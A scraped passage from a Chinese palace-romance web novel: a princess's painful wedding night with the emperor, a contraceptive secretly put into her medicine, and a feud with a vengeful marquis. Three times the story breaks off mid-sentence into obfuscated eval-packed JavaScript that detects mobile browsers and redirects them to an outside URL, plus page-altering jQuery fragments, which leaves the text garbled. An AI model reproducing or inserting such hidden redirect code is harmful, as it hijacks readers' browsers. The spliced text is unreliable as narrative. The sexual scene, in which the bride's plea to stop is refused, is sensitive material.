皇帝生了一副十分俊美的长相。眼眸深邃,鼻梁高挺,带着点异域的英气,攻击性十足。他眼角微微上挑,眸光噙着玩味,目光灼灼地在她身上徘徊。 江婳的心霎时悬了起来,心跳渐渐加快。 “陛、陛下……” 她声音结结巴巴的,小脸涨得通红,连带着白皙的雪颈也染上一层绯色。 她打量闻熙的同时,闻熙也在看着她。 这小皇后生得倒是貌美,五官清丽又不失素雅,是典型的江南美人。一张小脸白得像玉做的一般,挺翘的鼻头下,是嫣红的朱唇,泛着些许诱人的水光。让人想到刚剥出来的荔枝,咬上一口汁水饱满。 比起北雍女子来,别有一番柔弱的风味。 闻熙唇边泛起一抹笑,转身端起桌上的两杯合卺酒,将其中一盏递给江婳。 江婳连忙伸手接过,冷不防一抬头,正好与闻熙四目相对。 他眸子里滚着灼灼的光,一眼望来时,仿佛要望进她的心坎。 她顿时方寸大乱,还没等闻熙举杯,便慌张地将盏中的合卺酒一饮而尽。 闻熙长眉轻挑,忍不住“噗嗤”一声笑了出来。 江婳更加窘迫,眼睫扑闪着,端着酒盏的手不知道该往哪放。 闻熙哂道:“学过怎么行周公之礼吗?” 江婳小脸涨红,慌得话都说不利索:“我、我会的。前几日嬷嬷教了我……” 说着,她便羞怯地低下了头,眉眼微微垂着,眼神如同小鹿般清澈羞涩。 面前的少年又是一声轻笑。 他的声音低沉沉的,还带着一丝沙哑,很是好听。 “那就安置吧。” 江婳一下子红了双颊,心跳鼓噪起来。 这么快就要直奔主题了吗? 这皇帝比她还小呢,怎么对开枝散叶之事如此热衷。 见她仍愣在原地,闻熙不耐地蹙起眉梢:“上榻。” “哦、哦……好。” 江婳眼睫颤颤,脱了绣鞋,赤着一双雪足,小心翼翼地往榻上爬去。 她的动作笨拙,青丝垂在身侧晃悠,露出一段白白的颈子。 闻熙喉头微滚,提步向她走了过去,双手扶住她的腰。 他的掌心滚烫,一阵酥麻的热意透过薄薄的衣料,顺着江婳的腰肢一路往上窜,她不由得呼吸一颤,紧紧抿住了唇。 闻熙揽着她的腰,长腿压住她的膝弯,与她一同上了榻。 男人炽热的身子俯下来,伸手去解两人的衣裳。 闻熙的手捉住江婳的足踝,粗粝的指沿着腿侧一路向上流连。那处的皮肤格外细腻敏感,被他轻轻一刮,便浮现起一道红痕。 陌生的触感令江婳愈发紧张,小手紧紧攥着身下的被褥,不由得浑身发抖。 明明之前已经做足了功课,亲身上阵时,她还是忍不住害怕。 闻熙伸手在她脸上拍了拍,换了一种安抚的口吻:“别紧张。” 江婳牙齿咯咯得响:“我、我不紧张,不紧张的。” 闻熙不由得哂然一笑。 行礼的过程比江婳想象的还要难捱。 窗外的天色黑沉沉的,没有半分转明的迹象。 江婳疼得浑身发抖,垂下来的几缕发被冷汗浸湿,湿答答贴在额前。 她觉得自己仿佛是一块木头,而上方的男人就像是一只啄木鸟,一下一下力道极重,突突突地啄个不停。 闻熙眸色微动,滚烫的呼吸拂落在她脸侧。 江婳疼得闪出了泪花,趁着他喘息的空当,擦了擦通红的眼角。 他再这么用力,她这块可怜的木头就要被他啄成两半了。 她眸中水雾氤氲,玉手可怜兮兮地蜷在胸前,试着推开上方的男人,“陛下,能不能让,让臣妾休息一下……我,臣妾太难受了……” 闻熙毫不犹豫地拒绝:“再忍忍,一会儿就好受了。” …… 秦淮月说,这事儿一开始会有些难受,但渐入佳境后,就会感到舒服了。 可江婳被折腾了一夜,都没感受到一丝舒服。 那种感觉,简直就像死过去了一回。 每一次,眼看她要阖上眼皮,上方的那只啄木鸟就会无情地啄醒她,再次将她拉入这场无休止的酷刑。 直至天光擦亮,江婳才昏昏沉沉地睡了过去。 醒来时,闻熙已经不在榻边,想必是去上朝了。 按理,这个时辰,她应该去金华殿给贺太后请安。 经历了一整夜的酷刑,江婳浑身上下都酸疼着,仿佛被肢解了一遍,又重新装了回去。 她模模糊糊地回忆,昨晚皇帝来了一回不够,非要拉着她再来第二回,她拗他不过,心里又是委屈,又是生气,忍不住在他肩膀上狠狠咬了一口。 江婳咬着唇,勉强支起身子,唤道:“阿月,阿月……” “哎。” 秦淮月声音脆生生的,她穿了件银线绣菡萏的藕荷色襦裙,外罩一件素色的对襟。整个人像是一朵含露的芙蕖,脸上粉嫩嫩的,露出康健的颜色。 不像她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319199|167397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没精打采,浑身透着一股股恹恹的死气。 江婳鼻子酸了,忍不住红了眼眶:“阿月,我好难受,浑身都痛,我感觉快要死了。” 秦淮月啐了一声:“什么死不死的,这话可不能乱说。” “我身上不舒服,我想沐浴。”江婳哑着嗓子。 秦淮月点头,“奴婢让人给殿下备水。” 江婳扯住她的袖子:“你,你别让其他人进来……” 秦淮月面露不解。 江婳一咬牙,指着自己的腰,带了一丝哭腔道:“阿月,我、我叫他给欺负了,我不想叫人看见……” 秦淮月掀开她的衣裳,冷不防被吓了一跳。 小公主白如暖玉的肌肤上满是伤痕,细腰被掐出五个深深的指印,浑身挑不出一块儿好皮肉来。 秦淮月不禁皱起眉来。 这皇帝也太不会怜惜人了。江婳还是头一回呢,他怎么能这般磋磨她? 秦淮月的心一阵抽痛。 她放柔了声音,小心翼翼地扶着江婳坐起,“奴婢服侍殿下清洗吧。” 江婳“嗯”了一声,扶着秦淮月的胳膊,慢吞吞地往床外挪去。 落地的一瞬间,江婳忍不住轻嘶了一声。 她腿间疼得厉害,小腿肚不住地打战,只能紧紧抓住秦淮月的胳膊,才能勉强站稳。 才走几步路,江婳便疼出了泪花,一张小脸惨白,说什么也不肯再动。 秦淮月只能叫几个宫人送了洗漱的巾帕、皂角进来,又搬来一展屏风,拿了盆,兑了温水,亲自服侍江婳清洗。 在凤仪宫中歇了一日,到了傍晚,江婳竟发起烧来。她烧得迷迷糊糊,一会儿喊热,一会儿喊冷,将自己蜷缩成一团,躺在被子里瑟瑟发抖。 秦淮月请了太医过来,太医把了脉后,说是水土不服,加上昨晚受了凉,导致气血不通,开了几副药,叮嘱江婳按时服用,便回去了。 按规矩,帝后大婚,皇帝至少要宿在凤仪宫三日。江婳这一病,起码好几天不能侍寝。秦淮月担心皇帝不知道江婳的病情,晚上还来找她胡闹,便派人去皇帝那儿通传。 闻熙听了,只叮嘱了几句,让江婳好生将养,别的便再没有了。 皇帝尚未及冠,因此还没有下旨采选秀女,除了江婳以外,后宫中还有几个晓事的宫人,以及刘美人、顾美人两位嫔妃。 闻熙当夜便宿在了顾美人的锦绣宫。 戊时过后,江婳的烧退下去一些,但仍然没什么精神。 她阖着眸,恹恹地躺在床上,泛白的唇微微抿着,一言不发。 秦淮月坐在她的榻边,拿了帕子,放在铜盆里打湿,又取出来拧干,轻柔地给江婳揩着身子。 “殿下,好受一些了吗?”她轻声问。 江婳苦笑着摇头,道:“我算是看出来了,陛下,是个冷心冷肺的……只管自己快活,全然不管我难不难受。” 秦淮月揪紧了帕子,拧着眉道:“殿下,仔细隔墙有耳。” 江婳的眼泪啪嗒一声掉下来,“阿月,我不想呆在这儿了,我想回金陵。我去给皇兄写信,让他接我们回去吧。” “殿下……” 江婳苍白地笑笑:“你别当真,我,我其实就是随便说说。我知道,我嫁到上京,是为了两国交好。北雍不会让我们走的,皇兄也不会答应……” 她说着说着,便岔了声儿,嘴角抽搐几下,忍不住小声哭了起来。 秦淮月垂下眉眼,不知道怎么安慰她才好。 这还只是第一天,江婳就被折腾成这样。往后,她不仅要侍奉皇帝,还要掌管凤印,统辖六宫,一大堆焦头烂额的事儿等着她去管。 小公主性子又软和,是个没脾气的主儿,连底下的宫人都压不住,更别说那些深受皇帝宠爱的妃嫔了。 秦淮月心绪几番沉浮,忍不住为江婳的前途感到深深的担忧。 她给江婳擦了擦眼泪,起身道:“奴婢去膳房看看,殿下的药好了没有。” 5. 澹月芙蕖(五) 凤仪宫与其她嫔妃的寝宫不同,有自己单独的膳房。秦淮月一边向膳房走去,一边想着,若是江婳想念金陵的饭菜,她倒是可以亲手下厨,用膳房给她开几回小灶。 膳房的门敞开着,屋内充斥着一股浓浓的药味。几个小宫女蹲在灶边,拿着扇子轻轻摇动,轮流掌着火。 屋子北面的窗不知什么时候给吹开了,冷风直往屋里灌,吹得里头的烟气袅袅地打着旋儿。 秦淮月走了进来,拍了拍一个小宫女的肩,问道:“娘娘的药可煮好了?” 小宫女擦了一把汗,站起身来,“已经好了,奴婢这就倒出来。” 她将灶上的药罐取下来,掀开盖子,正准备往碗里倒,秦淮月却打断她道:“等等。” 小宫女的动作顿了顿,眼中噙着疑惑,“月姐姐,这药有问题吗?” 秦淮月俯下身子,用手在药罐上方轻轻扇了扇,一股刺鼻的气味瞬间扑面而来。 秦淮月顿时皱起了眉头。 是麝香。 这是避子汤。 秦淮月不由得一阵心悸。闻这味道,就知道这药里掺了不止一点儿麝香,江婳若是喝了,必然伤身。 到底是谁,把江婳的药换成了避子汤? 秦淮月沉下脸来,看向一旁的小宫女,“这药是你煮的?” 小宫女满脸惶恐:“是,是奴婢煮的。” “啪”的一声,秦淮月将药罐重重摔了下去,厉声道:“这药里,掺了麝香。女子若服用过量的麝香,轻则不孕,重则绝嗣。” “你私自往皇后娘娘的药膳中掺杂麝香,是何居心?!” 小宫女傻了眼,扑通一声跪下,“月姐姐,奴婢根本就不知道什么麝香,奴婢冤枉啊!” 秦淮月攥紧了掌,冷眼俯视着她:“谁指使的你?” 单凭一个小宫女,应该没有这个胆量,敢往皇后的药中加麝香,背后必定有人指使。 小宫女跪在地上,哭道:“真不是奴婢,奴婢没有想害皇后娘娘……奴婢真不知道这是怎么回事。” 其她几个宫人见秦淮月动怒,一个个面露惶恐,纷纷跟着跪了下来。 看着眼前跪了一地的宫人,秦淮月不禁有些头疼。 皇帝今年十七,尚未及冠,身边除了几个晓事的宫人外,就是江婳这个皇后,还有两位妃嫔,顾美人和刘美人。 江婳是南邺的公主,之前从未到过北雍,又没招谁惹谁,她能在上京结什么仇? 至于皇帝的几个妃嫔,估计也没这个胆儿,把手往皇后宫中伸。 想害江婳身子,同时又有这个能耐的,要么是皇帝,要么是太后。 秦淮月想不通,给江婳下避子药,对他们有什么好处?难不成是不想让南邺的公主,诞下北雍的皇嗣吗? 不对,若真是如此,北雍当初就不应该答应与南邺联姻。 一时间,秦淮月也想不明白,这麝香到底是谁送进凤仪宫的。 几个宫女一口咬定并不知情,秦淮月也拿不出证据。即使想查,也不知道从何查起。 万一最后查出来,真是皇帝或者太后的主意,江婳同他们撕破了脸,只怕不好收场。 她只好先将几个在膳房中当差的宫女关押起来,又重新给江婳另熬了一碗汤药。 江婳入宫已逾数日,还不曾去金华殿中给太后见安,身为皇后,已是大大的失礼。 这几日天气放暖,江婳养好了身子,一大早,便携着几个宫人径直往金华殿而去。 一行人抬着凤辇,穿过几道朱红深墙。暖风带着湿润的水汽,柔柔地往人面上扑,熏得江婳昏昏欲睡。 凤辇在金华殿不远处停下。江婳在秦淮月的搀扶下下了辇,她今日穿了一身华丽的正红迤地宫装,头上凤冠点缀着几颗鸽蛋儿大的东珠,整个人如同一朵明艳的牡丹。 金华殿掩映在一片碧绿的浓荫中,四周种着几株垂丝海棠,青砖碧瓦,雕梁画栋,檐栀高高翘起,看上去华贵又不失典雅。 江婳微微眯起眼睛,感到有些局促不安。她担忧地望向秦淮月:“阿月,我入宫以来,还是头一回拜见太后。之前因为生病,中间旷了不少日子,万一太后娘娘不喜欢我怎么办?” 秦淮月安慰她道:“不会的,先前娘娘身子抱恙,奴婢已经派人去太后娘娘处通传过,太后她老人家体恤,定不会怪罪娘娘。” 江婳点了点头,深吸一口气,调整好仪态,款步迈上白玉砌成的踏跺。 金华殿中,贺太后端坐在白玉案前,身后十二扇琉璃屏风上用金漆绘着百鸟朝凤的图案,炽碎的日光洒下来,仿佛镀了一层金上去,更加昭显出主人的威仪。 太后身边的女官走上前来,附在她耳畔低声道:“娘娘,皇后娘娘已至殿外。” 贺太后呷了一口茶,平声道:“让她们进来吧。” 女官点头,对着殿门的方向道:“宣皇后娘娘进殿。” 江婳得了允准,这才提着裙摆,小心翼翼地跨过门槛,举步行至殿中央,俯身跪下,恭恭敬敬地行了个大礼:“臣妾江氏,见过太后娘娘。” 贺太后眉眼带笑,“好孩子,快起来吧。” “谢太后。” 江婳声音软糯,缓缓起身。 贺太后抿唇:“听说,前些日子你病了一场,现下身子如何了,可有什么不适?” 江婳连忙道:“多谢娘娘关心,臣妾已无大碍。” 贺太后点点头,眉目舒展开来:“那便好。你远道而来,为的是南北两朝的睦邻之谊,若你在上京有什么闪失,那便是哀家的罪过了。” 江婳腼腆地笑笑:“臣妾今后一定注意,定不会再拿这些鸡毛蒜皮的小事来劳烦太后娘娘。” 贺太后温声道:“皇后言重了,女人家的身子最是大意不得。皇帝,你今后可要在皇后的衣食起居上多加注意,莫要再让她受凉生病。” 江婳愣在原地。 左下首传来闻熙的一声嗤笑。 江婳咬着唇,小脸红得都要冒烟了,连忙朝闻熙浅浅福了下身子:“臣妾见过陛下!” 她进来这么久了,竟然都没发现皇帝也在殿里。 江婳低垂着脑袋,半晌也没听见皇帝叫她起身。 还是上首的贺太后给她解了围:“皇后,快起来吧。” 江婳松了一口气,提着裙子起身。 她一抬头,冷不防撞上一双暗如深渊的眸。 那目光阴郁深沉,带着不加掩饰的杀意,如同刀风血雨一般向她劈来。 江婳身子抖如筛糠,一阵惶然的寒意从脚底沿着脊背,直直冲上她的脑门心。 晏澄洲穿了一件玄色云纹鹤氅,头上戴着朝冠,两条朱红的组缨垂在颌下,应该是刚下朝不久,还没来得及出宫。 他扯着眉宇,慢慢攥紧了搁在膝盖上的手,目光阴沉地盯着江婳。 闻熙坐在他的身侧,一双眸子眯起,似笑非笑地看着她。 贺太后坐在上方,将几人的神情看得一清二楚。她目光在江婳和晏澄洲身上来回逡巡,清了清嗓子道,“皇帝,哀家方才说的,可记住了?” 闻熙起身,向太后躬身行礼,“儿臣都记住了。” 贺太后扶额,神色淡淡:“哀家乏了,你们都退下吧。” “靖远候,你陪同皇上一道,送皇后回凤仪宫。” 晏澄洲颔首:“是。” 贺太后眸色微动。 一个南邺公主,一个南邺降臣,偏偏在金华殿上撞上了,仇人见面,难免眼红。 晏澄洲和南邺皇室的仇,要怎么解决,贺太后管不着。晏澄洲统领宫中御林军,兼掌刑狱,手段阴狠毒辣,素来有暴戾之名。她只希望这尊杀神别在这殿上闹开了,平白扰了她的清净。 闻熙走到江婳跟前,朝她伸出手,“皇后,走吧。” 江婳脸色苍白,勉强挤出一个笑,将手递给他。 殿外,秦淮月偕着几个宫人,静静地在丹墀前等候。 不到一炷香的功夫,殿门便开了。 闻熙着一身明黄银线绣密龙纹龙袍,一手扶着江婳,缓步向殿外走来。 江婳的唇绷得紧紧的,一脸快要哭出来的表情。 晏澄洲走在她的身后,目光一路紧随着她,脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319200|167397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴沉得像要滴出墨来。 江婳咬着唇,强迫自己冷静下来。那种如芒在背的感觉就好像被野兽盯上了,仿佛下一秒,晏澄洲就会狠狠扑上来,将她撕得粉碎。 看到守在殿外的秦淮月,她悬着的心才慢慢落了下来。 闻熙扶着江婳走下玉阶,秦淮月和几个宫人俯身行礼:“奴婢见过陛下。” 江婳如释重负般,扯住秦淮月的衣袖,回头对闻熙道:“陛下,臣妾还是自己回去吧……您日理万机,想必一定有很多政务要处理,臣妾身为皇后,应当体恤陛下,这点小事,就不劳烦陛下了。” 闻熙冷笑了一声。 日理万机?他哪里日理万机了? 这小皇后还真是蠢,都入宫几日了,还看不出来,他们闻氏的龙椅,早就分了一半给贺家了。 贺家手握兵权,又接连出了几代皇后,子孙世代皆在朝中任职,权势可谓一手遮天。 他身后的晏澄洲,不过是南邺的降臣,却凭着贺家的青睐,爬上了靖远侯的位子。 当年提拔他的大司马大将军,正是贺太后的亲侄贺衍。闻熙登基来,处处受这两人的掣肘。 近些年,贺衍的身子每况愈下,索性将手下大部分势力都转移给了晏澄洲。让他接掌南北御林军,整个北雍皇宫都被他一手把持。 看着江婳害怕的样子,闻熙顿时玩心大起,挑眉道:“怎么?皇后难不成是在怕靖远侯?” 晏澄洲冷冷地盯着二人。 江婳拼命咬着唇,急得眼泪都要出来了:“臣妾没有……臣妾,臣妾是不想给陛下添麻烦……” 这个皇帝,怎么哪壶不开提哪壶?她已经竭力不引起晏澄洲的注意了,他还偏要把她往风口浪尖推。 听到“晏侯爷”几个字,秦淮月猛地抬头,看向江婳身后面色阴沉的男人。 她的瞳孔一缩。 为何晏澄洲也在这里? 靖远侯? 秦淮月不由得攥紧了拳,指甲嵌进皮肉,一阵钻心的痛。 晏澄洲的眼皮轻轻颤了颤,垂下眼帘。 闻熙眸光暗下来,仔细打量着秦淮月。 面前这个宫女倒是生得极好,乌眉细长,杏眼水润,一张小脸清丽绝尘,丝毫不比他的皇后逊色。 他咂了咂唇,正准备上手摸一摸这小宫女如凝脂般光滑的脸蛋,下一刻,一道凌然的杀意就落在了他的后颈。 闻熙猝然回头,晏澄洲站在他的身后,目光阴郁地斜睨着他。 他的手上却空无一物。 闻熙不由得打了个寒战,手臂上起了一层密密麻麻的鸡皮疙瘩。 那种感觉,就好像一把刀架在了他的脖子上,他甚至感受到了冰冷的锋刃,正在他的颈间逡巡,仿佛在挑哪一处下手最为快捷。 闻熙看向同样被晏澄洲吓得瑟瑟发抖的江婳,一种同病相怜的感觉油然而生。 他不禁有些后悔。 刚才就不应该推着这小皇后去触晏澄洲的霉头。 江婳哆哆嗦嗦地开口:“陛、陛下,我们回去吧……” 闻熙咬牙,“晏侯爷,皇后大病初愈,需要将养。朕先送皇后回去了。” 晏澄洲颔首,目光却紧紧粘在秦淮月身上。 江婳一把抓过闻熙的手,两个人逃也似地朝凤仪宫跑去。 闻熙被她抓着,跑得晕头转向,忍不住吼道:“你跑什么?” 他们贵为帝后,居然携手在宫中夺命狂奔,让底下的宫人瞧见,成何体统? …… 春阳明媚,万里无云。 晏澄洲负手立在廊下,身形因背光而显得模糊不清。 婆娑的光线洒下来,将他的影子斜斜晾在青花砖铺就的甬道上,孤绝而又伶仃。 “晏筠。” 秦淮月开口。 晏澄洲缓缓转过身来。 他身姿颀长,同五年前相比又长高了不少,眼中暗流涌动,宛如深渊幽潭,带着一种山雨欲来却无风的平静感。 秦淮月直视着他的眸,平声道: “那日,在驿馆外截杀公主的人,是你吧?” 6. 澹月芙蕖(六) 晏澄洲藏在袖下的手隐隐颤抖。 秦淮月端详着他的神情,语速不疾不徐:“那日,你出现在城外,我便觉得不对劲。那些黑衣人分明有机会追上我,可为何你一来,他们就全不见了踪影?” 秦淮月轻笑:“我本以为,是你杀了他们,可是在我们回去的路上,连半分打斗的痕迹都没有。” “那些黑衣人,就是你的下属吧。你原本要杀的,是江婳,只是你没有想到,我也在那辆厌翟车上。” 晏澄洲的神情出现了一丝裂痕。 那日,秦淮月的出现,将他的计划全盘打乱了。 当发现自己追杀的人是她的那一刻,他几欲窒息,一时间六神无主。 慌乱、怨悔,还有隐隐的恐惧。 为什么她会来北雍?为什么,她会守在江婳的身边? 晏澄洲痛苦地闭上了眼。 见他默认,秦淮月不觉一阵心堵,攥紧了拳:“江婳与你无冤无仇,你为何非要取她性命?” 听到这话,对面的青年嗤笑了一声,讥讽地翘起嘴角,仿佛听到了这世上最好笑的笑话:“呵,无冤无仇,无冤无仇……好啊……” 他俊美的面容染上了一丝狠戾,一双眸子逼视着秦淮月: “你问我为何要杀她,我倒也想问问你,为何要护着江嵩的女儿?” 江嵩正是嘉宁帝的名讳。 “江嵩下旨杀了我晏府满门。晏府被屠的那日,你不也在吗?” 晏澄洲额间青筋暴起,突突跳个不停。 “秦淮月,你是我晏府的人。你扪心自问,你在晏府十五年,我们晏家亏待过你吗?你为何要护着永安公主?” 他终于不再隐忍,眼中翻涌起锥心刺骨的怨恨,猩红的血丝纵横交织,像要把她吞没。 秦淮月静静地看着他,“晏筠,当年,我和母亲在掖庭宫中为奴。母亲因为擅闯宫禁,叫人活活打死,尸首被扔到了宫外,是江婳和她母妃为你母亲收的尸。” 她颤声道:“你知不知道,我在宫中五年……是怎么过的?如果不是公主庇护,这世上早就没有秦淮月这个人了。” “晏筠,你说我背叛晏家,对不起晏家十五年的养育之恩,那你呢?你这些年在北雍,又做了什么?” 秦淮月讥诮地笑了笑,“靖远侯?不错呀,竟然能在北雍封侯了。晏筠,晏澄洲,晏四公子,你真是好大的威风。” 晏澄洲脸色一白。 “你知不知道,当年,南邺的人是怎么说你和大老爷的?贪生怕死、忘恩负义的国贼!” 她的眼泪潸然而下,下唇被咬得泛白,“哪怕晏家被抄,我也没有怀疑过你……可结果呢?” 五年前,金吾卫杀入晏府的那一刻,秦淮月仍然不肯相信,晏守川和晏澄洲伯侄会投降北雍。 晏家大老爷晏守川,乃是嘉宁帝的侍卫出身,随着嘉宁帝南征北战,立下赫赫战功,被誉为“江东骐骏”,跺跺脚就能让北雍人抖三抖的存在。 晏澄洲从七岁起,便跟着晏守川习武,两人虽是伯侄,却比亲父子还要亲。 人人都说,晏澄洲是金陵出了名的纨绔,但只有秦淮月知道,这个声明狼藉的公子哥,内里是个极温柔、极正直的人。 他虽然不喜读书,行事没个正形,但在大是大非的问题上,绝不会行差踏错一步。 昔日满身侠气,如青竹般刚直的翩翩公子,今日却甘愿沦为敌国走狗,以至整个晏家倾覆。 秦淮月深吸了一口气,毫不畏惧地对上他的眸,道:“晏筠,今日,我便把话同你说明白了。我是不会让你伤害江婳的。你想杀她,除非我死。” “是吗?” 晏澄洲唇角掠过一抹冷嘲,抛下一句轻飘飘的话:“那你可要把你的小公主看好了,这一次是麝香,下一次,说不定就是砒霜了。” 说罢,他旋即拂袖离去,再没有回头。 秦淮月看着他远去的背影,气得浑身发抖。 她还真是错怪了皇帝,原来给江婳下药的人,竟是晏澄洲。 想到晏澄洲在汤药里动的手脚,秦淮月心尖儿不由得一阵发颤。 晏澄洲竟能把手伸到凤仪宫中,他在北雍的势力,远比秦淮月想象得要大。 入宫这些日子,秦淮月也听到些风声。 北雍政权历来被外戚把持。如今的皇帝闻熙,是贺衍和太后一手扶植起来的一个傀儡。 闻熙并非先帝亲子,而是旁支的世族子弟。在闻熙之前,还有一位幼帝,是先帝最小的皇子。可惜年仅八岁就病逝了,幼帝死后,贺太后才从陈留选了闻熙做皇帝。 秦淮月莫名觉得讽刺,宫人们将皇帝挂在嘴边随意谈论,却对两个权臣讳莫如深。 提起靖远侯来,宫人总是又敬又畏,连他的名讳都不敢随意谈论。想想也是,一个南邺的俘虏,依仗着外戚做靠山,竟能在北雍封侯,又在宫中一手遮天,有哪个不要命的宫人敢乱嚼舌根? 思及此,一股寒意沿着经络蔓延至五脏六腑,她不由得心底一凉。 秦淮月嘴唇哆嗦着,脸上全无血色,半晌,一滴豆大的泪珠从她眼角滚落。 …… 晏澄洲沿着长廊一路疾行,身上的氅衣被风拍得猎猎翻卷,他双手紧紧攥着,只觉得浑身气血都烧了起来。 怒火席卷之后,心渐渐被风吹得寒凉,冷得像是在冰水里浸过一番。 几个宫女捧着朱漆托盘从他身旁经过,见晏澄洲脸色阴郁,一个个都耷拉着脑袋,不敢作声,唯恐他的怒火烧到自己身上。 端阳门外停着一辆轺车,一个身披甲胄的将军负手而立,意味深长地向晏澄洲望来。 此人乃是贺衍的亲信,桓峥。 晏澄洲面不改色,径直向桓峥走去。 “找本侯有何事?”他冷冷道。 桓峥唱了个喏,亲自为他打起车帘,示意他上车:“晏侯爷,贺将军有请。” 晏澄洲哼笑一声,端端坐了进去。 将军府离皇宫不到五里路,不消一柱香,晏澄洲的轺车便停在了贺府的大门前。 他撩起帘子,冷淡地看向车外。 朱漆大门的两侧,立着两尊石狮抱鼓,门上配有一对青铜兽首衔环。朱红牌匾中央,“将军府”三个嵌金大字龙飞凤舞,气势非凡,彰显出主人高贵的地位。 将军府的朱管事早已在门口等侯,见晏澄洲来了,脸上立马换了个笑模样,殷勤地将他扶下马车,“侯爷,这边请,将军在书房等您。” 晏澄洲颔首,跟着他穿过几道月洞门,一路弯弯绕绕,很快便到了书房。 朱管事堆着笑道:“侯爷,您请。” 立在门口侍奉的婢女恭敬地撩起门帘,请他进屋。 晏澄洲解下氅衣,随手扔给一旁的朱管事,跨过门槛,大步迈了进去。 书房内的光线十分昏暗,酸枝木雕花的书桌上,一簇灯火如豆,幽幽映出一张血色不足的脸庞。 贺衍拢着玄色刻丝鹤氅,斜靠在檀木圈椅上。 他敛着一双暗淡的眸,泛白的嘴唇起了一层干枯的死皮。近乎透明的皮肤下,隐约可见细如蛛丝的血管。 明明已经入春,可屋内仍然摆放着几个青铜五足火盆,里头烧着上好的红罗炭,烘得屋内暖融融的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还没等他报仇,仇人就自己病死了,这让他如何咽得下这口气? “你不去寻出路,我便自己找一条出路来,有错吗?” “咳咳咳咳……” 贺衍捂着胸口,咳得撕心裂肺,仿佛要把五脏六腑都咳出来一般。 他苦笑,揩了揩唇角的血迹,道:“你也看到了,这两年,我的身体是一日不如一日,连剑都提不起来,早已不是当年的大将军了。” 贺衍天生就有心疾,是从娘胎里带出来的病根。靠着习武和吃药,他的身体一直还算强健,近些年却越发虚弱了。 “近来,黄河水患频发,并州、冀州还有京畿几个郡县都遭了难,朝廷拨了大批的赈灾款下去。西凉蛮族也不老实,咳咳……” 他拧着眉道:“攘外必先安内。晏筠,答应你的事,本将不会抵赖。来日,大雍铁骑必定会南渡长江,攻入金陵,使四海为一。届时,南邺皇室……任你处置。” 晏澄洲冷笑:“大将军最好言出必行。想当年,令父可是北雍的一员猛将,要是他晓得自己的儿子如此窝囊,想必您也无颜去见贺家的列祖列宗。” 贺衍恼羞成怒,撑在桌上的手指隐隐泛白:“晏筠!你放肆!” “不是我要放肆,是大将军,非逼得我如此。” 晏澄洲冷冷丢下一句话,旋即转身离去。 贺衍疲惫无力的声音在身后响起:“早些回府。这几日,秋娘一直念叨你,回去多陪陪她。” 晏澄洲没有回头,从朱管事手上接过氅衣,快步出了贺府。 7. 澹月芙蕖(七) 侯府。 贺秋娘呆坐在檀木雕花妆台前,望着窗外的一池碧叶出神儿。 芙蓉院外凿了一个池塘,里头栽种着各种名贵荷花,红的、白的、粉的都有。 每到夏日,一朵朵荷花自翠叶间亭亭出水,微风拂过,一池荷叶如同碧玉翻浪,熏得满院都是淡淡的荷香。 世人皆道,莲花是高洁之物,出淤泥而不染,亭亭袅袅,不蔓不枝,不可亵玩。 芙蓉、水芝、菡萏、红菱……文人墨客借莲寄情,托莲言志,自古以来,荷花就从来不缺美名。 这样高洁的花,栽在这侯府中,就像是一种无声的讽刺。 文人爱莲,是清高耿介,目下无尘;佞臣爱莲,便是故作姿态,附庸风雅。 上京城人人皆知,靖远侯爱莲如命,几欲成痴,不惜花重金从江南采购莲花,移栽至寒冷的北方。 莲花生长在南方,很难适应上京干燥寒冷的气候。为了养好这一池莲花,府上的下人都是战战兢兢,不敢行差踏错一步,毕竟他们的身家性命可都挂在这上头。 贺秋娘的丫鬟银佩将支摘窗轻轻阖上,小声提醒:“夫人,侯爷来了。” 贺秋娘缓缓转过身来。 她本是明艳大气的长相,眼角微微上挑,眉梢细长,像一柄锋利的匕首,划开清滟滟的雪痕。 可惜她总是敛眉垂首,作温顺状,生生将眉宇间的傲气折损了七分。 隔扇门吱哑一声打开。 晏澄洲站在门外,一片阴影沿着他的侧颜铺开,那双深邃的眸子被阴翳笼住,显得晦暗不明。 他抿住嘴角,提步向她走来。 贺秋娘抿唇,起身理了理袖子,柔声唤道:“夫君。” 晏澄洲淡淡嗯了一声,脱下氅衣,在桌前坐下,语气漠然:“用膳吧。” 贺秋娘颔首,吩咐银佩去膳房端菜。 少顷,下人们端着黑漆雕花木盘,将菜肴端上了桌。 一碗红枣金丝粥,一盘龙眼包子,一道芙蓉鱼片,还有一盘清炒时蔬,皆是清淡的口味。 银佩为二人布好菜后,便退出了屋。 两人相对而坐,一言不发地吃着各自碗中的菜。 贺秋娘微微低着头,用筷子胡乱拨弄着碗里的饭,许久也不见她吃进去什么东西。 贺秋娘喜欢重口的食物,可自从嫁给晏澄洲后,她就只能吃这些味道寡淡的饭菜,如同嚼蜡一般。 